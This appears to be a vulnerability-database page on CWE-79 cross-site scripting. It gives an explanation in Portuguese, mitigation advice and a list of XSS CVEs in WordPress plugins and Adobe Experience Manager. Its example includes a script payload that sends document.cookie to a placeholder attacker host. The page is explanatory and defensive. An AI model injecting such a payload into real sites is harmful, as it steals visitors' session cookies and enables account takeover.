Fallos del tipo CWE-79

29.761 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-51809MEDIUMWordPress Keymaster Chord Notation Free plugin <= 1.0.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75644MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75735MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-4711MEDIUMWordPress Infinite Scroll – Ajax Load More <= 7.1.1 - Authenticated (Contributor+) Cross-Site ScriptingEPSS 0.4%CVE-2024-43009MEDIUMA reflected cross-site scripting (XSS) vulnerability exists in user/login.php at line 24 in ZZCMS 2023 and earlier. The application directlyEPSS 0.4%CVE-2026-47972MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51811MEDIUMWordPress Popup Image plugin <= 1.0.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-50515MEDIUMWordPress Ninja Forms – The Contact Form Builder That Grows With You plugin <= 3.8.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47956MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27227MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75734MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-79905MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51848MEDIUMWordPress Parallaxer plugin <= 1.00 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75730MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47943MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51849MEDIUMWordPress My Restaurant Menu plugin <= 0.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47980MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47951MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51832MEDIUMWordPress Plenigo plugin <= 1.12.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75731MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%